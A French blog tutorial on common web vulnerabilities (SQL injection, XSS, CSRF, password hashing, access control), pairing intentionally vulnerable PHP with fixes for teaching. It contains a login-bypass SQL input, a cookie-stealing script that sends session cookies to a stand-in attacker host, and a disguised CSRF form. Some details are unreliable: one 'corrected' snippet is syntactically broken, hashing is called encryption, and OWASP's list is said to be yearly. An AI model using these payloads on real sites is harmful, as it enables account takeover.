Free cookie consent management tool by TermsFeed Skip to content

Mis en ligne en :

avril 2026

Auteur de l'article :

Arthur

Catégorie(s) :

Veille

Les failles de sécurité du web

Il existe de nombreuses failles de sécurité sur le web, ce guide se concentre sur les plus courantes et les plus dangereuses.

Tous les ans, la communauté OWASP (Open Web Application Security Project) publie une liste des 10 principales failles de sécurité du web.

Injection SQL

Une injection SQL se produit lorsque des données non fiables sont envoyées à un interpréteur SQL dans le cadre d’une commande ou d’une requête. Cela peut permettre à un attaquant de manipuler la base de données, d’accéder à des données sensibles ou même de supprimer des données.

Exemple avec faille

<?php
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
$result = mysqli_query($conn, $query);

$user = mysqli_fetch_assoc($result);
if ($user) {
    echo "Bienvenue, " . $user['username'];
} else {
    echo "Nom d'utilisateur ou mot de passe incorrect.";
}
?>

Dans cet exemple, si l’utilisateur a connaissance d’un identifiant d’utilisateur, il peut injecter du code SQL malveillant pour en usurper l’identité.

Par exemple :

– Username : admin' --
– Password : (n'importe quoi)

La requête SQL résultante devient :

SELECT * FROM users WHERE username='admin' --' AND password='(n'importe quoi)'

On peut voir que la partie AND password='(n'importe quoi)' est commentée, la requête rend donc tous les utilisateurs avec le nom d’utilisateur « admin », permettant à l’attaquant de se connecter sans connaître le mot de passe.

Le caractère ' est utilisé pour terminer la chaîne de caractères, et -- est utilisé pour commenter le reste de la requête SQL, ce qui permet à l’attaquant de contourner la vérification du mot de passe.

D’autres failles plus poussées sont accessibles grâce à l’erreur ci-dessus, allant de l’extraction complète de la base de données à l’exécution de commandes sur le serveur.

On prévient ce type de faille en utilisant des requêtes préparées (prepared statements) ou des ORM (Object-Relational Mapping) qui gèrent automatiquement l’échappement des données.

Exemple corrigé

<?php
$username = $_POST['username'];
$password = $_POST['password'];
$stmt= $pdo->prepare("SELECT * FROM users WHERE username=:username AND password=:password");
$stmt->bindParam(':username', $username);
$stmt->bindParam(':password', $password);
$stmt->execute();
$user = $stmt->fetch();
if ($user) {
    echo "Bienvenue, " . $user['username'];
} else {
    echo "Nom d'utilisateur ou mot de passe incorrect.";
}

Cross-Site Scripting (XSS)

Les attaques XSS se produisent lorsque des attaquants injectent du code malveillant dans des pages web consultées par d’autres utilisateurs. Cela peut permettre à l’attaquant de voler des cookies, de rediriger les utilisateurs vers des sites malveillants ou même de prendre le contrôle du navigateur de la victime.

Exemple avec faille

<?php
// message?id={id}
// Récupération du message depuis la base de données
$message_id = $_GET['id'];

// Affichage du message sans échapper les caractères spéciaux
echo "Vous avez un nouveau message : " . $message['content'];
?>

Nous avons ici une page qui affiche un message récupéré depuis la base de données. Si le contenu du message contient du code HTML ou JavaScript malveillant, il sera exécuté dans le navigateur de l’utilisateur.

Contenu exploitant la faille

<script>document.location='https://hacker-site.com/steal?cookie=' + document.cookie;</script>

Tout utilisateur qui consulte ce message verra son cookie de session envoyé à l’attaquant, ce qui peut permettre à l’attaquant de prendre le contrôle du compte de la victime.

Pour prévenir les attaques XSS, il est essentiel d’échapper correctement les données avant de les afficher. En PHP, cela peut être fait avec la fonction htmlspecialchars :

Exemple corrigé

<?php
// message?id={id}
// Récupération du message depuis la base de données
$message_id = $_GET['id'];

// Affichage du message en échappant les caractères spéciaux
echo "Vous avez un nouveau message : " . htmlspecialchars($message['content'], ENT_QUOTES, 'UTF-8');

Ainsi, les caractères spéciaux dans le contenu du message seront convertis en entités HTML (notamment <, >, &, ", '), empêchant l’exécution de code malveillant.

Tous les éléments dynamiques affichés sur une page web doivent être traités de cette manière pour éviter les attaques XSS. Sont compris dans cette liste :

  • Les données provenant de la base de données.
  • Les données saisies par les utilisateurs (formulaires, URL, etc.).
  • Les données provenant de sources externes (API, etc.).

Cross-Site Request Forgery (CSRF)

Le CSRF consiste à forcer un utilisateur, à son insu, à exécuter une action sur un site sur lequel il est déjà connecté.

Par exemple, le hackeur créer un formulaire lambda sur son site, qui, une fois soumis, envoie une requête modifiant le mot de passe de l’utilisateur sur un autre site.

Exemple avec faille

<?php
// change_password.php
// Traitement du formulaire de changement de mot de passe
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Vérification de la confirmation du mot de passe
    if ($_POST['new_password'] === $_POST['confirm_password']) {
        // Mise à jour du mot de passe dans la base de données

        // On récupère l'ID de l'utilisateur depuis la session
        $user_id = $_SESSION['user_id'];

        // Fonction fictive pour mettre à jour le mot de passe
        change_password($user_id, $_POST['new_password']);
        echo "Mot de passe mis à jour avec succès.";
    } else {
        echo "Les mots de passe ne correspondent pas.";
    }
}

Ici, seul un utilisateur connecté peut modifier son mot de passe.

Cependant, si un utilisateur visite un site malveillant pendant qu’il est connecté à notre site, ce site malveillant peut soumettre un formulaire de changement de mot de passe à notre site, en utilisant les cookies de session de l’utilisateur pour authentifier la requête.

Contenu exploitant la faille

<form action="https://votre-site.com/change_password.php" method="POST">
    <input type="hidden" name="new_password" value="motdepasse123">
    <input type="hidden" name="confirm_password" value="motdepasse123">
    <input type="text" name="fake_promo" value="Saisissez votre code promo pour gagner un cadeau !">
    <input type="submit" value="Gagner un cadeau !">
</form>

Ici, l’utilisateur pense qu’il participe à une promotion, mais en réalité, il soumet un formulaire qui change son mot de passe sur notre site, s’il y est connecté.

Pour corriger cette faille, nous allons créer un token CSRF.

Le token CSRF est une chaîne de caractères unique générée pour chaque session utilisateur. Il est inclus dans les formulaires et vérifié lors de la soumission du formulaire pour s’assurer que la requête provient bien de l’utilisateur légitime.

Si le token est absent ou ne correspond pas, la requête est rejetée.

Exemple corrigé

<?php
// change_password.php
// Traitement du formulaire de changement de mot de passe
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Vérification de la confirmation du mot de passe
    if ($_POST['new_password'] === $_POST['confirm_password']) {
        // Mise à jour du mot de passe dans la base de données

        // On récupère le token CSRF depuis le formulaire
        $csrf_token = $_POST['csrf_token'];
        // On récupère le token CSRF stocké dans la session, généré lors de la création de la session utilisateur
        $session_token = $_SESSION['csrf_token'];
        // Vérification du token CSRF
        if ($csrf_token !== $session_token) {
            die("Requête invalide.");
        }

        // On récupère l'ID de l'utilisateur depuis la session
        $user_id = $_SESSION['user_id'];

        // Fonction fictive pour mettre à jour le mot de passe
        change_password($user_id, $_POST['new_password']);
        echo "Mot de passe mis à jour avec succès.";
    } else {
        echo "Les mots de passe ne correspondent pas.";
    }
}
<form action="/change_password.php" method="POST">
    <!-- Le token CSRF est inclus dans le formulaire -->
    <input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
    <input type="password" name="new_password" placeholder="Nouveau mot de passe">
    <input type="password" name="confirm_password" placeholder="Confirmer le mot de passe">
    <input type="submit" value="Changer le mot de passe">
</form>

Le hackeur doit donc insérer le token CSRF dans son formulaire malveillant, il n’a pas connaissance de ce token, la requête est donc rejetée.

Chiffrement

Les mots de passe et les données sensibles doivent être chiffrés pour protéger les utilisateurs en cas de fuite de données.

Il s’agit d’une obligation légale selon l’article 32 du RGPD

Exemple de chiffrement

<?php
$password = $_POST['password'];
// Chiffrement du mot de passe avec le dernier algorithme de hachage sécurisé
$hashed_password = password_hash($password, PASSWORD_DEFAULT);
// Fonction fictive de stockage du mot de passe chiffré dans la base de données
store_user_password($user_id, $hashed_password);

La fonction password_hash prends comme paramètre le mot de passe en clair et l’algorithme de hachage à utiliser.

Ici, on utilise la constante PHP PASSWORD_DEFAULT, qui utilise le dernier algorithme de hachage considéré sécurisé disponible (actuellement bcrypt depuis PHP 5.5.0).

La fonction va donc hasher le mot de passe de manière sécurisée, en utilisant un grain de sel unique pour chaque mot de passe.

Exemple d’utilisation

<?php
$user = $_POST['user'];
$password = $_POST['password'];
// Récupération du mot de passe chiffré depuis la base de données
$hashed_password = get_user_hashed_password($user);
// Vérification du mot de passe en utilisant la fonction password_verify
if (password_verify($password, $hashed_password)) {
    echo "Connexion réussie.";
} else {
    echo "Nom d'utilisateur ou mot de passe incorrect.";
}

La fonction password_verify prend en paramètre le mot de passe en clair et le mot de passe chiffré, et retourne true si le mot de passe correspond, ou false sinon. Il gère automatiquement le grain de sel et l’algorithme de hachage utilisé, ce qui rend la vérification sécurisée.

Protection des ressources insuffisante

Toutes ressource protégée par un système d’authentification doit être vérifiée à chaque requête pour s’assurer que l’utilisateur a les droits nécessaires pour y accéder.

Exemple avec faille

<?php
// admin.php
// Vérification de l'authentification de l'utilisateur
if (!isset($_SESSION['user_id'])) {
    die("Vous devez être connecté pour accéder à cette page.");
}
// Affichage de la page d'administration
echo "Bienvenue dans l'administration.";

Ici, la page d’administration vérifie simplement que l’utilisateur est connecté, mais elle ne vérifie pas si l’utilisateur a les droits d’administrateur.

Autre exemple avec faille

<?php
// /my_pictures.php?id={id}
// Récupération de l'ID de l'image depuis l'URL
$image_id = $_GET['id'];
// Récupération de l'image depuis la base de données
$image = get_image_by_id($image_id);
// Affichage de l'image
echo "<img src='" . $image['url'] . "' alt='" . $image['description'] . "'>";

Ici, la page affiche une image en fonction de l’ID fourni dans l’URL, mais elle ne vérifie pas si l’utilisateur a les droits pour accéder à cette image. Un utilisateur malveillant pourrait accéder à des images qui ne lui appartiennent pas en modifiant simplement l’ID dans l’URL.

Pour corriger cette faille, il est nécessaire de vérifier les droits d’accès de l’utilisateur pour chaque ressource protégée.

Exemple corrigé

<?php
// /my_pictures.php?id={id}
// Récupération de l'ID de l'image depuis l'URL
$image_id = $_GET['id'];
// Récupération de l'image depuis la base de données
$image = get_image_by_id($image_id);
// Vérification des droits d'accès de l'utilisateur pour cette image
if ($image['owner_id'] !== $_SESSION['user_id']) {
    die("Vous n'avez pas les droits pour accéder à cette image.");
}
?>
// Affichage de l'image
echo "<img src='" . $image['url'] . "' alt='" . $image['description'] . "'>";

Ici, avant d’afficher l’image, nous vérifions que l’utilisateur connecté est bien le propriétaire de l’image en comparant l’ID du propriétaire de l’image avec l’ID de l’utilisateur connecté. Si les IDs ne correspondent pas, la requête est rejetée.